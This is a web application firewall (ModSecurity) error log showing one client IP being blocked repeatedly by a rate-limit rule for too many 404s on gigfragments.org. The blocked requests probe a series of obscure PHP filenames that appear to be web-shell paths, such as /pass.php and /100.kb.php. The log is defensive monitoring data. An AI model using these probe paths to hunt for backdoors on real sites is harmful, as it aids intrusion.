[Sun Jan 04 22:17:15.579102 2026] [:error] [pid 45949:tid 45977] [client 4.241.234.12:15580] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aua.php"] [unique_id "aVp2a6WUhIYCdxgkhpBQgQAAAhc"]
[Sun Jan 04 22:17:15.823499 2026] [:error] [pid 48633:tid 48640] [client 4.241.234.12:17496] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aua.php"] [unique_id "aVp2a3pmEoQIuLH2aWhIcAAAAEU"]
[Sun Jan 04 22:17:16.076015 2026] [:error] [pid 48727:tid 48759] [client 4.241.234.12:15602] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aVp2bPgJtUs-E_QT0ibarAAAA0I"]
[Sun Jan 04 22:17:16.343463 2026] [:error] [pid 48727:tid 48768] [client 4.241.234.12:17451] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aVp2bPgJtUs-E_QT0ibargAAA0s"]
[Sun Jan 04 22:17:16.675083 2026] [:error] [pid 45949:tid 45964] [client 4.241.234.12:15504] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aVp2bKWUhIYCdxgkhpBQggAAAgo"]
[Sun Jan 04 22:17:16.943539 2026] [:error] [pid 42666:tid 42717] [client 4.241.234.12:14979] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "aVp2bPc221c7vwWrOjcVrgAAAxQ"]
[Sun Jan 04 22:17:17.229246 2026] [:error] [pid 42666:tid 42712] [client 4.241.234.12:15268] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aVp2bfc221c7vwWrOjcVrwAAAw8"]
[Sun Jan 04 22:17:17.502333 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:17520] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aVp2bZtGiMsRmNcKXvpHyAAAAsg"]
[Sun Jan 04 22:17:17.832519 2026] [:error] [pid 43583:tid 43595] [client 4.241.234.12:14985] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aVp2beZbrSRUiJ-RX9ZC2gAAAUY"]
[Sun Jan 04 22:17:18.123720 2026] [:error] [pid 48727:tid 48774] [client 4.241.234.12:15590] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aVp2bvgJtUs-E_QT0ibasQAAA1E"]
[Sun Jan 04 22:17:18.417197 2026] [:error] [pid 43583:tid 43607] [client 4.241.234.12:17525] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVp2buZbrSRUiJ-RX9ZC3AAAAVI"]
[Sun Jan 04 22:17:18.668031 2026] [:error] [pid 29351:tid 29401] [client 4.241.234.12:15343] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVp2bptGiMsRmNcKXvpHygAAAtE"]
[Sun Jan 04 22:17:18.936906 2026] [:error] [pid 48667:tid 48717] [client 4.241.234.12:17456] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVp2bnO6aihVIlrNAPj44gAAARQ"]
[Sun Jan 04 22:17:19.175060 2026] [:error] [pid 48727:tid 48778] [client 4.241.234.12:15611] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVp2b_gJtUs-E_QT0ibatQAAA1U"]
[Sun Jan 04 22:17:19.414016 2026] [:error] [pid 45863:tid 45887] [client 4.241.234.12:15026] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass.php"] [unique_id "aVp2b1Gr1mgeue1bWvTYpwAAABY"]
[Sun Jan 04 22:17:19.682468 2026] [:error] [pid 43583:tid 43598] [client 4.241.234.12:15581] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass.php"] [unique_id "aVp2b-ZbrSRUiJ-RX9ZC3gAAAUk"]
[Sun Jan 04 22:17:19.936963 2026] [:error] [pid 48667:tid 48705] [client 4.241.234.12:15579] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass.php"] [unique_id "aVp2b3O6aihVIlrNAPj45QAAAQg"]
[Sun Jan 04 22:17:20.186490 2026] [:error] [pid 48727:tid 48777] [client 4.241.234.12:15007] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass.php"] [unique_id "aVp2cPgJtUs-E_QT0ibauAAAA1Q"]
[Sun Jan 04 22:17:20.472849 2026] [:error] [pid 45949:tid 45967] [client 4.241.234.12:15219] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aVp2cKWUhIYCdxgkhpBQgwAAAg0"]
[Sun Jan 04 22:17:20.722021 2026] [:error] [pid 45863:tid 45886] [client 4.241.234.12:15145] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aVp2cFGr1mgeue1bWvTYqQAAABU"]
[Sun Jan 04 22:17:21.004805 2026] [:error] [pid 42666:tid 42710] [client 4.241.234.12:17492] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aVp2cfc221c7vwWrOjcVtgAAAw0"]
[Sun Jan 04 22:17:21.302410 2026] [:error] [pid 29351:tid 29384] [client 4.241.234.12:17480] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aVp2cZtGiMsRmNcKXvpHzgAAAsA"]
[Sun Jan 04 22:17:21.607978 2026] [:error] [pid 45863:tid 45876] [client 4.241.234.12:17467] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aVp2cVGr1mgeue1bWvTYqwAAAAs"]
[Sun Jan 04 22:17:21.887262 2026] [:error] [pid 45949:tid 45975] [client 4.241.234.12:17463] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aVp2caWUhIYCdxgkhpBQhAAAAhU"]
[Sun Jan 04 22:17:22.220603 2026] [:error] [pid 45949:tid 45966] [client 4.241.234.12:15293] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aVp2cqWUhIYCdxgkhpBQhgAAAgw"]
[Sun Jan 04 22:17:22.505596 2026] [:error] [pid 45949:tid 45971] [client 4.241.234.12:17504] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aVp2cqWUhIYCdxgkhpBQhwAAAhE"]
[Sun Jan 04 22:17:22.836901 2026] [:error] [pid 30985:tid 31027] [client 4.241.234.12:17516] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rxzx.php"] [unique_id "aVp2ckisiM0XfzVcTWC02gAAAc0"]
[Sun Jan 04 22:17:23.109965 2026] [:error] [pid 45949:tid 45972] [client 4.241.234.12:14999] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rxzx.php"] [unique_id "aVp2c6WUhIYCdxgkhpBQiQAAAhI"]
[Sun Jan 04 22:17:23.409228 2026] [:error] [pid 43583:tid 43611] [client 4.241.234.12:17442] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rxzx.php"] [unique_id "aVp2c-ZbrSRUiJ-RX9ZC4gAAAVY"]
[Sun Jan 04 22:17:23.823855 2026] [:error] [pid 29351:tid 29395] [client 4.241.234.12:17519] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rxzx.php"] [unique_id "aVp2c5tGiMsRmNcKXvpH0AAAAss"]
[Sun Jan 04 22:17:24.072492 2026] [:error] [pid 48727:tid 48775] [client 4.241.234.12:17468] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aVp2dPgJtUs-E_QT0ibavAAAA1I"]
[Sun Jan 04 22:17:24.326414 2026] [:error] [pid 48667:tid 48703] [client 4.241.234.12:15573] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aVp2dHO6aihVIlrNAPj45wAAAQY"]
[Sun Jan 04 22:17:24.641128 2026] [:error] [pid 29351:tid 29406] [client 4.241.234.12:15563] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aVp2dJtGiMsRmNcKXvpH0wAAAtY"]
[Sun Jan 04 22:17:24.948646 2026] [:error] [pid 45950:tid 45988] [client 4.241.234.12:15118] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aVp2dFx-3HUGZIlAI-5SQgAAA4Y"]
[Sun Jan 04 22:17:25.244708 2026] [:error] [pid 45950:tid 45994] [client 4.241.234.12:15612] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aVp2dVx-3HUGZIlAI-5SQwAAA4w"]
[Sun Jan 04 22:17:25.569404 2026] [:error] [pid 48727:tid 48763] [client 4.241.234.12:15593] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aVp2dfgJtUs-E_QT0ibavgAAA0Y"]
[Sun Jan 04 22:17:25.855620 2026] [:error] [pid 42666:tid 42704] [client 4.241.234.12:15204] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aVp2dfc221c7vwWrOjcVuAAAAwc"]
[Sun Jan 04 22:17:26.176254 2026] [:error] [pid 45949:tid 45973] [client 4.241.234.12:17473] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aVp2dqWUhIYCdxgkhpBQjAAAAhM"]
[Sun Jan 04 22:17:27.538828 2026] [:error] [pid 45863:tid 45874] [client 4.241.234.12:17534] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVp2d1Gr1mgeue1bWvTYrwAAAAk"]
[Sun Jan 04 22:17:28.041569 2026] [:error] [pid 30985:tid 31023] [client 4.241.234.12:15124] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVp2eEisiM0XfzVcTWC04gAAAck"]
[Sun Jan 04 22:17:28.332501 2026] [:error] [pid 30985:tid 31018] [client 4.241.234.12:17509] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVp2eEisiM0XfzVcTWC05AAAAcQ"]
[Sun Jan 04 22:17:28.688767 2026] [:error] [pid 45949:tid 45963] [client 4.241.234.12:15021] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aVp2eKWUhIYCdxgkhpBQjgAAAgk"]
[Sun Jan 04 22:17:28.960536 2026] [:error] [pid 48633:tid 48651] [client 4.241.234.12:15131] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aVp2eHpmEoQIuLH2aWhIdwAAAFA"]
[Sun Jan 04 22:17:29.238471 2026] [:error] [pid 48633:tid 48636] [client 4.241.234.12:15024] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aVp2eXpmEoQIuLH2aWhIeAAAAEE"]
[Sun Jan 04 22:17:29.519357 2026] [:error] [pid 29351:tid 29399] [client 4.241.234.12:15583] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aVp2eZtGiMsRmNcKXvpH1wAAAs8"]
[Sun Jan 04 22:17:30.045477 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:14997] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aVp2evc221c7vwWrOjcVvAAAAww"]
[Sun Jan 04 22:17:30.328305 2026] [:error] [pid 48633:tid 48640] [client 4.241.234.12:17524] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.kb.php"] [unique_id "aVp2enpmEoQIuLH2aWhIewAAAEU"]
[Sun Jan 04 22:17:30.586395 2026] [:error] [pid 29351:tid 29401] [client 4.241.234.12:17482] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.kb.php"] [unique_id "aVp2eptGiMsRmNcKXvpH2QAAAtE"]
[Sun Jan 04 22:17:30.915292 2026] [:error] [pid 42666:tid 42714] [client 4.241.234.12:17452] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.kb.php"] [unique_id "aVp2evc221c7vwWrOjcVvwAAAxE"]
[Sun Jan 04 22:17:31.233981 2026] [:error] [pid 45863:tid 45873] [client 4.241.234.12:15585] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.kb.php"] [unique_id "aVp2e1Gr1mgeue1bWvTYswAAAAg"]
[Sun Jan 04 22:17:31.648678 2026] [:error] [pid 45863:tid 45887] [client 4.241.234.12:15110] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aVp2e1Gr1mgeue1bWvTYtAAAABY"]
[Sun Jan 04 22:17:31.931316 2026] [:error] [pid 45863:tid 45875] [client 4.241.234.12:15545] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aVp2e1Gr1mgeue1bWvTYtgAAAAo"]
[Sun Jan 04 22:17:32.306966 2026] [:error] [pid 29351:tid 29402] [client 4.241.234.12:17462] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aVp2fJtGiMsRmNcKXvpH2wAAAtI"]
[Sun Jan 04 22:17:32.604603 2026] [:error] [pid 48727:tid 48766] [client 4.241.234.12:14996] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aVp2fPgJtUs-E_QT0ibawQAAA0k"]
[Sun Jan 04 22:17:32.906868 2026] [:error] [pid 45863:tid 45886] [client 4.241.234.12:17469] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "aVp2fFGr1mgeue1bWvTYuQAAABU"]
[Sun Jan 04 22:17:33.189945 2026] [:error] [pid 42666:tid 42713] [client 4.241.234.12:17418] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "aVp2ffc221c7vwWrOjcVwwAAAxA"]
[Sun Jan 04 22:17:33.559417 2026] [:error] [pid 48727:tid 48772] [client 4.241.234.12:15220] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "aVp2ffgJtUs-E_QT0ibaxAAAA08"]
